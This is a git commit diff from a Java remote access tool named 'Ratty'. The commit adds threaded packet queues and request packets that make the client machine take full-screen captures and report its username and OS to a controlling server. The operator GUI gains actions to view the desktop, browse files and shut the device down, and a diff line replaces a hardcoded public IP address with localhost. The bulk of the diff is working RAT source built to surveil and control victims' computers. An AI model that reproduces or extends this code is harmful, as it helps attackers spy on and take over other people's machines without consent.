Browse Source

Major changes

The ActiveClient class now works queue based
Added GUI improvements
New packets
master
Sogomn 9 years ago
parent
commit
25ccc51236
  1. 1
      .gitignore
  2. 106
      Ratty/src/de/sogomn/rat/ActiveClient.java
  3. 3
      Ratty/src/de/sogomn/rat/Ratty.java
  4. 17
      Ratty/src/de/sogomn/rat/packet/ImagePacket.java
  5. 50
      Ratty/src/de/sogomn/rat/packet/InformationPacket.java
  6. 8
      Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java
  7. 18
      Ratty/src/de/sogomn/rat/packet/PacketType.java
  8. 7
      Ratty/src/de/sogomn/rat/packet/PopupPacket.java
  9. 57
      Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
  10. 33
      Ratty/src/de/sogomn/rat/packet/request/InformationRequestPacket.java
  11. 46
      Ratty/src/de/sogomn/rat/packet/request/ScreenshotRequestPacket.java
  12. 14
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  13. 31
      Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java

1
.gitignore

@ -10,3 +10,4 @@
# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
hs_err_pid* hs_err_pid*
/bin/

106
Ratty/src/de/sogomn/rat/ActiveClient.java

@ -1,6 +1,7 @@
package de.sogomn.rat; package de.sogomn.rat;
import java.net.Socket; import java.net.Socket;
import java.util.concurrent.LinkedBlockingQueue;
import de.sogomn.engine.net.TCPConnection; import de.sogomn.engine.net.TCPConnection;
import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.IPacket;
@ -9,50 +10,36 @@ import de.sogomn.rat.packet.PacketType;
public final class ActiveClient extends TCPConnection { public final class ActiveClient extends TCPConnection {
private Thread thread;
private LinkedBlockingQueue<IPacket> packetQueue;
private Thread sender, reader;
private IClientObserver observer; private IClientObserver observer;
public ActiveClient(final String address, final int port) { public ActiveClient(final String address, final int port) {
super(address, port); super(address, port);
packetQueue = new LinkedBlockingQueue<IPacket>();
} }
public ActiveClient(final Socket socket) { public ActiveClient(final Socket socket) {
super(socket); super(socket);
}
@Override
public void close() {
super.close();
if (thread != null) {
thread.interrupt();
thread = null;
}
if (observer != null) {
observer.disconnected(this);
}
packetQueue = new LinkedBlockingQueue<IPacket>();
} }
public void start() {
final Runnable runnable = () -> {
while (isOpen()) {
final IPacket packet = readPacket();
private IPacket nextPacket() {
try {
final IPacket packet = packetQueue.take();
if (observer != null && packet != null) {
observer.packetReceived(this, packet);
}
return packet;
} catch (final InterruptedException ex) {
return null;
} }
};
thread = new Thread(runnable);
thread.start();
} }
public void sendPacket(final IPacket packet) {
final byte id = PacketType.getId(packet.getClass());
private void sendPacket(final IPacket packet) {
final byte id = PacketType.getId(packet);
if (id != 0) { if (id != 0) {
writeByte(id); writeByte(id);
@ -60,15 +47,14 @@ public final class ActiveClient extends TCPConnection {
} }
} }
public IPacket readPacket() {
private IPacket readPacket() {
final byte id = readByte(); final byte id = readByte();
final Class<? extends IPacket> packetClass = PacketType.getClass(id);
if (id == 0) {
if (packetClass == null) {
return null; return null;
} }
final Class<? extends IPacket> packetClass = PacketType.getClass(id);
try { try {
final IPacket packet = packetClass.newInstance(); final IPacket packet = packetClass.newInstance();
@ -82,6 +68,62 @@ public final class ActiveClient extends TCPConnection {
} }
} }
@Override
public void close() {
super.close();
if (sender != null) {
sender.interrupt();
sender = null;
}
if (reader != null) {
reader.interrupt();
reader = null;
}
packetQueue.clear();
if (observer != null) {
observer.disconnected(this);
}
}
public void start() {
final Runnable sendingRunnable = () -> {
while (isOpen()) {
final IPacket packet = nextPacket();
if (packet != null) {
sendPacket(packet);
}
}
};
final Runnable readingRunnable = () -> {
while (isOpen()) {
final IPacket packet = readPacket();
if (observer != null && packet != null) {
observer.packetReceived(this, packet);
}
}
};
sender = new Thread(sendingRunnable);
reader = new Thread(readingRunnable);
sender.start();
reader.start();
}
public void addPacket(final IPacket packet) {
packetQueue.add(packet);
}
public void removePacket(final IPacket packet) {
packetQueue.remove(packet);
}
public void setObserver(final IClientObserver observer) { public void setObserver(final IClientObserver observer) {
this.observer = observer; this.observer = observer;
} }

3
Ratty/src/de/sogomn/rat/Ratty.java

@ -13,9 +13,10 @@ import de.sogomn.rat.server.gui.ServerGuiController;
public final class Ratty { public final class Ratty {
public static final String ADDRESS = "46.59.138.220";
public static final String ADDRESS = "localhost";
public static final int PORT = 23456; public static final int PORT = 23456;
public static final boolean CLIENT = false; public static final boolean CLIENT = false;
public static final String VERSION = "1.0";
private Ratty() { private Ratty() {
//... //...

17
Ratty/src/de/sogomn/rat/packet/ImagePacket.java

@ -14,15 +14,23 @@ import de.sogomn.rat.ActiveClient;
public final class ImagePacket implements IPacket { public final class ImagePacket implements IPacket {
private BufferedImage image; private BufferedImage image;
private String format;
private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB); private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB);
private static final int SCREEN_WIDTH = 500;
private static final int SCREEN_HEIGHT = 500;
public ImagePacket() {
image = NO_IMAGE;
public ImagePacket(final BufferedImage image, final String format) {
this.image = image;
this.format = format;
} }
public ImagePacket(final BufferedImage image) { public ImagePacket(final BufferedImage image) {
this.image = image;
this(image, "");
}
public ImagePacket() {
this(NO_IMAGE);
} }
@Override @Override
@ -30,7 +38,7 @@ public final class ImagePacket implements IPacket {
final ByteArrayOutputStream out = new ByteArrayOutputStream(); final ByteArrayOutputStream out = new ByteArrayOutputStream();
try { try {
ImageIO.write(image, "JPG", out);
ImageIO.write(image, format, out);
} catch (final IOException ex) { } catch (final IOException ex) {
ex.printStackTrace(); ex.printStackTrace();
} }
@ -70,6 +78,7 @@ public final class ImagePacket implements IPacket {
g.drawImage(image, 0, 0, width, height, null); g.drawImage(image, 0, 0, width, height, null);
}); });
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);
screen.show(); screen.show();
screen.redraw(); screen.redraw();
} }

50
Ratty/src/de/sogomn/rat/packet/InformationPacket.java

@ -0,0 +1,50 @@
package de.sogomn.rat.packet;
import de.sogomn.rat.ActiveClient;
public final class InformationPacket implements IPacket {
private String name, os, version;
public InformationPacket(final String name, final String os, final String version) {
this.name = name;
this.os = os;
this.version = version;
}
public InformationPacket() {
this("", "", "");
}
@Override
public void send(final ActiveClient client) {
client.writeUTF(name);
client.writeUTF(os);
client.writeUTF(version);
}
@Override
public void receive(final ActiveClient client) {
name = client.readUTF();
os = client.readUTF();
version = client.readUTF();
}
@Override
public void execute(final ActiveClient client) {
//...
}
public String getName() {
return name;
}
public String getOS() {
return os;
}
public String getVersion() {
return version;
}
}

8
Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java

@ -15,15 +15,15 @@ public final class KeyEventPacket implements IPacket {
public static final byte RELEASE = 1; public static final byte RELEASE = 1;
public static final byte TYPE = 2; public static final byte TYPE = 2;
public KeyEventPacket() {
key = KeyEvent.VK_UNDEFINED;
}
public KeyEventPacket(final int key, final byte strokeType) { public KeyEventPacket(final int key, final byte strokeType) {
this.key = key; this.key = key;
this.strokeType = strokeType; this.strokeType = strokeType;
} }
public KeyEventPacket() {
this(KeyEvent.VK_UNDEFINED, TYPE);
}
@Override @Override
public void send(final ActiveClient client) { public void send(final ActiveClient client) {
client.writeInt(key); client.writeInt(key);

18
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -1,15 +1,21 @@
package de.sogomn.rat.packet; package de.sogomn.rat.packet;
import de.sogomn.rat.packet.request.InformationRequestPacket;
import de.sogomn.rat.packet.request.ScreenshotRequestPacket;
public enum PacketType { public enum PacketType {
POPUP(1, PopupPacket.class), POPUP(1, PopupPacket.class),
IMAGE(2, ImagePacket.class), IMAGE(2, ImagePacket.class),
KEY_EVENT(3, KeyEventPacket.class), KEY_EVENT(3, KeyEventPacket.class),
FREE(4, FreePacket.class), FREE(4, FreePacket.class),
SCREENSHOT(5, ScreenshotPacket.class);
INFORMATION(5, InformationPacket.class),
SCREENSHOT(6, ScreenshotRequestPacket.class),
INFORMATION_REQUEST(7, InformationRequestPacket.class);
private final byte id;
private final Class<? extends IPacket> clazz;
public final byte id;
public final Class<? extends IPacket> clazz;
PacketType(final byte id, final Class<? extends IPacket> clazz) { PacketType(final byte id, final Class<? extends IPacket> clazz) {
this.id = id; this.id = id;
@ -44,4 +50,10 @@ public enum PacketType {
return 0; return 0;
} }
public static byte getId(final IPacket packet) {
final Class<? extends IPacket> clazz = packet.getClass();
return getId(clazz);
}
} }

7
Ratty/src/de/sogomn/rat/packet/PopupPacket.java

@ -42,4 +42,11 @@ public final class PopupPacket implements IPacket {
return message; return message;
} }
public static PopupPacket create() {
final String input = JOptionPane.showInputDialog(null);
final PopupPacket packet = new PopupPacket(input);
return packet;
}
} }

57
Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java

@ -1,57 +0,0 @@
package de.sogomn.rat.packet;
import java.awt.AWTException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.image.BufferedImage;
import de.sogomn.rat.ActiveClient;
public final class ScreenshotPacket implements IPacket {
private int x, y;
private int width, height;
public ScreenshotPacket() {
//...
}
public ScreenshotPacket(final int x, final int y, final int width, final int height) {
this.x = x;
this.y = y;
this.width = width;
this.height = height;
}
@Override
public void send(final ActiveClient client) {
client.writeInt(x);
client.writeInt(y);
client.writeInt(width);
client.writeInt(height);
}
@Override
public void receive(final ActiveClient client) {
x = client.readInt();
y = client.readInt();
width = client.readInt();
height = client.readInt();
}
@Override
public void execute(final ActiveClient client) {
final Rectangle screenRect = new Rectangle(x, y, width, height);
try {
final Robot robot = new Robot();
final BufferedImage image = robot.createScreenCapture(screenRect);
final ImagePacket packet = new ImagePacket(image);
client.sendPacket(packet);
} catch (final AWTException ex) {
ex.printStackTrace();
}
}
}

33
Ratty/src/de/sogomn/rat/packet/request/InformationRequestPacket.java

@ -0,0 +1,33 @@
package de.sogomn.rat.packet.request;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.Ratty;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.InformationPacket;
public final class InformationRequestPacket implements IPacket {
public InformationRequestPacket() {
//...
}
@Override
public void send(final ActiveClient client) {
//...
}
@Override
public void receive(final ActiveClient client) {
//...
}
@Override
public void execute(final ActiveClient client) {
final String name = System.getProperty("user.name");
final String os = System.getProperty("os.name");
final InformationPacket packet = new InformationPacket(name, os, Ratty.VERSION);
client.addPacket(packet);
}
}

46
Ratty/src/de/sogomn/rat/packet/request/ScreenshotRequestPacket.java

@ -0,0 +1,46 @@
package de.sogomn.rat.packet.request;
import java.awt.AWTException;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.ImagePacket;
public final class ScreenshotRequestPacket implements IPacket {
public ScreenshotRequestPacket() {
//...
}
@Override
public void send(final ActiveClient client) {
//...
}
@Override
public void receive(final ActiveClient client) {
//...
}
@Override
public void execute(final ActiveClient client) {
final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize();
final Rectangle screenRect = new Rectangle(screen);
try {
final Robot robot = new Robot();
final BufferedImage image = robot.createScreenCapture(screenRect);
final ImagePacket packet = new ImagePacket(image, "PNG");
client.addPacket(packet);
} catch (final AWTException ex) {
ex.printStackTrace();
}
}
}

14
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -32,15 +32,19 @@ public final class RattyGui {
"Version" "Version"
}; };
public static final String POPUP = "Popup";
public static final String SCREENSHOT = "Screenshot";
public static final String KEY_EVENT = "Key event";
public static final String FREE = "Free";
public static final String POPUP = "Open popup";
public static final String SCREENSHOT = "Take screenshot";
public static final String DESKTOP = "View desktop";
public static final String FILES = "Browse files";
public static final String SHUTDOWN = "Shutdown device";
public static final String FREE = "Free client";
public static final String[] ACTION_COMMANDS = { public static final String[] ACTION_COMMANDS = {
POPUP, POPUP,
SCREENSHOT, SCREENSHOT,
KEY_EVENT,
DESKTOP,
FILES,
SHUTDOWN,
FREE FREE
}; };

31
Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java

@ -1,15 +1,15 @@
package de.sogomn.rat.server.gui; package de.sogomn.rat.server.gui;
import java.awt.event.KeyEvent;
import java.util.ArrayList; import java.util.ArrayList;
import de.sogomn.rat.ActiveClient; import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.IClientObserver; import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.FreePacket;
import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.KeyEventPacket;
import de.sogomn.rat.packet.InformationPacket;
import de.sogomn.rat.packet.PopupPacket; import de.sogomn.rat.packet.PopupPacket;
import de.sogomn.rat.packet.ScreenshotPacket;
import de.sogomn.rat.packet.request.InformationRequestPacket;
import de.sogomn.rat.packet.request.ScreenshotRequestPacket;
import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.IServerObserver; import de.sogomn.rat.server.IServerObserver;
@ -51,13 +51,11 @@ public final class ServerGuiController implements IServerObserver, IClientObserv
/*HARDCODED ATM*/ /*HARDCODED ATM*/
private IPacket getPacket(final String actionCommand) { private IPacket getPacket(final String actionCommand) {
if (actionCommand == RattyGui.POPUP) { if (actionCommand == RattyGui.POPUP) {
return new PopupPacket("Test message");
} else if (actionCommand == RattyGui.SCREENSHOT) {
return new ScreenshotPacket(0, 0, 1000, 1000);
} else if (actionCommand == RattyGui.KEY_EVENT) {
return new KeyEventPacket(KeyEvent.VK_G, KeyEventPacket.TYPE);
return PopupPacket.create();
} else if (actionCommand == RattyGui.FREE) { } else if (actionCommand == RattyGui.FREE) {
return new FreePacket(); return new FreePacket();
} else if (actionCommand == RattyGui.SCREENSHOT) {
return new ScreenshotRequestPacket();
} }
return null; return null;
@ -65,6 +63,17 @@ public final class ServerGuiController implements IServerObserver, IClientObserv
@Override @Override
public void packetReceived(final ActiveClient client, final IPacket packet) { public void packetReceived(final ActiveClient client, final IPacket packet) {
if (packet instanceof InformationPacket) {
final InformationPacket information = (InformationPacket)packet;
final long id = getClient(client).id;
final String name = information.getName();
final String address = client.getAddress();
final String os = information.getOS();
final String version = information.getVersion();
gui.addRow(id, name, address, os, version);
}
packet.execute(client); packet.execute(client);
} }
@ -90,19 +99,19 @@ public final class ServerGuiController implements IServerObserver, IClientObserv
final IPacket packet = getPacket(actionCommand); final IPacket packet = getPacket(actionCommand);
if (packet != null) { if (packet != null) {
client.sendPacket(packet);
client.addPacket(packet);
} }
} }
public void addClient(final ActiveClient client) { public void addClient(final ActiveClient client) {
final long id = nextId++; final long id = nextId++;
final ServerClient serverClient = new ServerClient(id, client); final ServerClient serverClient = new ServerClient(id, client);
final InformationRequestPacket packet = new InformationRequestPacket();
client.setObserver(this); client.setObserver(this);
clients.add(serverClient); clients.add(serverClient);
client.start(); client.start();
gui.addRow(id, "Unknown", client.getAddress(), "NA", "NA");
client.addPacket(packet);
} }
public void removeClient(final ActiveClient client) { public void removeClient(final ActiveClient client) {

Loading…
Cancel
Save